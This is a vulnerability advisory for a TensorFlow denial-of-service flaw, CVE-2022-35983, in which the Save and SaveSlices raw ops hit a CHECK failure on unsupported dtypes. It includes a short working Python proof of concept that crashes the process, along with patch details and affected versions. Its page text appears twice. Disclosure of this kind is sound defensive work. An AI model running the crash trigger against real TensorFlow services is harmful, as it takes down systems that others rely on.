Advisoriesby IbisTensorFlow vulnerable to `CHECK` fail in `Save` and `SaveSlices`
Impact
If Save or SaveSlices is run over tensors of an unsupported dtype, it results in a CHECK fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
filename = tf.constant("")
tensor_names = tf.constant("")
Save
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64)
tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, )
SaveSlices
shapes_and_slices = tf.constant("")
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32)
tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, )
`
Patches
We have patched the issue in GitHub commit [5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4](https://github.com/tensorflow/tensorflow/commit/5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact If `Save` or `SaveSlices` is run over tensors of an unsupported `dtype`, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf filename = tf.constant("") tensor_names = tf.constant("") # Save data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64) tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, ) # SaveSlices shapes_and_slices = tf.constant("") data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32) tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, ) ``` ### Patches We have patched the issue in GitHub commit [5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4](https://github.com/tensorflow/tensorflow/commit/5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-617
- Also known as
- BIT-tensorflow-2022-35983, CVE-2022-35983, PYSEC-2026-1017, PYSEC-2026-3213, PYSEC-2026-3349
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